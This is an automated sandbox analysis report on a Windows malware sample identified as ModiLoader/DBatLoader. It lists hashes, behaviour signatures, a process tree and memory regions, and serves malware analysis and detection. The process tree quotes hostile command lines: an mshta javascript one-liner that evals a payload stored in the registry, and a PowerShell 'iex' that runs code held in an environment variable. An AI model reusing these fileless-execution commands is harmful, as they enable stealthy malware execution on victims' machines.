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Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/12/2024, 07:44

General

  • Target

    d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe

  • Size

    268KB

  • MD5

    d5f835079adfe2c2cc9772c99c629c20

  • SHA1

    15218d52c737395fff6cc5ec3311f9c3a36a72f7

  • SHA256

    3e03e0ce02f93736fdc9fe338b62acf98f75d5d7c1f5a27b2af6f199db49bf7e

  • SHA512

    e4f58c346cce2ad2babf4eb2b652f5e2b500e303b66d7a7561d81664a6ed6596a4749eb2019285225bdd3d5da5947fca088c6f04fa5a7bb598ce998678f5d8d6

  • SSDEEP

    6144:BvQctIgBDrxn0TXxnPJa/dWzb8D4OgL0jTZ6HS9nSuW:b/F0TXxxaVWzb8DAL0J2S9S/

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modiloader family
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 11 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4232
    • C:\Users\Admin\AppData\Local\Temp\d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:996
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:tyf9gnEE9="q";E00v=new%20ActiveXObject("WScript.Shell");me7feXW5="A0ZXgoBx";pGC6x4=E00v.RegRead("HKLM\\software\\Wow6432Node\\vClWCu7Yk\\eUkZC338J");cEU9zw1sd="8Imuds";eval(pGC6x4);nlc6U7wM="jOnU";
    1⤵
    • Process spawned unexpected child process
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5028
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:jvwxd
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2632

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_td0p5bf5.51c.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/996-9-0x000000000D750000-0x000000000D810000-memory.dmp

    Filesize

    768KB

  • memory/996-2-0x0000000000400000-0x0000000001400000-memory.dmp

    Filesize

    16.0MB

  • memory/996-5-0x000000000D750000-0x000000000D810000-memory.dmp

    Filesize

    768KB

  • memory/996-6-0x000000000D750000-0x000000000D810000-memory.dmp

    Filesize

    768KB

  • memory/996-32-0x000000000D750000-0x000000000D810000-memory.dmp

    Filesize

    768KB

  • memory/996-3-0x0000000000400000-0x0000000001400000-memory.dmp

    Filesize

    16.0MB

  • memory/996-8-0x000000000D750000-0x000000000D810000-memory.dmp

    Filesize

    768KB

  • memory/996-7-0x000000000D750000-0x000000000D810000-memory.dmp

    Filesize

    768KB

  • memory/996-10-0x000000000D750000-0x000000000D810000-memory.dmp

    Filesize

    768KB

  • memory/996-31-0x0000000000400000-0x0000000000435000-memory.dmp

    Filesize

    212KB

  • memory/996-4-0x000000000D750000-0x000000000D810000-memory.dmp

    Filesize

    768KB

  • memory/2632-14-0x00000000059B0000-0x00000000059D2000-memory.dmp

    Filesize

    136KB

  • memory/2632-12-0x00000000053A0000-0x00000000053D6000-memory.dmp

    Filesize

    216KB

  • memory/2632-15-0x0000000006190000-0x00000000061F6000-memory.dmp

    Filesize

    408KB

  • memory/2632-13-0x0000000005B60000-0x0000000006188000-memory.dmp

    Filesize

    6.2MB

  • memory/2632-26-0x0000000006270000-0x00000000065C4000-memory.dmp

    Filesize

    3.3MB

  • memory/2632-27-0x0000000006770000-0x000000000678E000-memory.dmp

    Filesize

    120KB

  • memory/2632-28-0x0000000006790000-0x00000000067DC000-memory.dmp

    Filesize

    304KB

  • memory/2632-29-0x0000000007E70000-0x00000000084EA000-memory.dmp

    Filesize

    6.5MB

  • memory/2632-30-0x0000000007820000-0x000000000783A000-memory.dmp

    Filesize

    104KB

  • memory/2632-16-0x0000000006200000-0x0000000006266000-memory.dmp

    Filesize

    408KB

  • memory/4232-0-0x0000000000AE0000-0x0000000000AE4000-memory.dmp

    Filesize

    16KB